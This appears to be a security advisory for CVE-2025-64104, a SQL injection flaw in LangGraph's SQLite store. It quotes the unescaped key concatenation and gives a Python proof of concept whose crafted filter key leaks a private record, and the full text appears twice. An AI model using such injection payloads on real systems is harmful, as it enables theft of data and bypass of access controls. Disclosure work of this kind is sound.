CVE-2025-64104

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```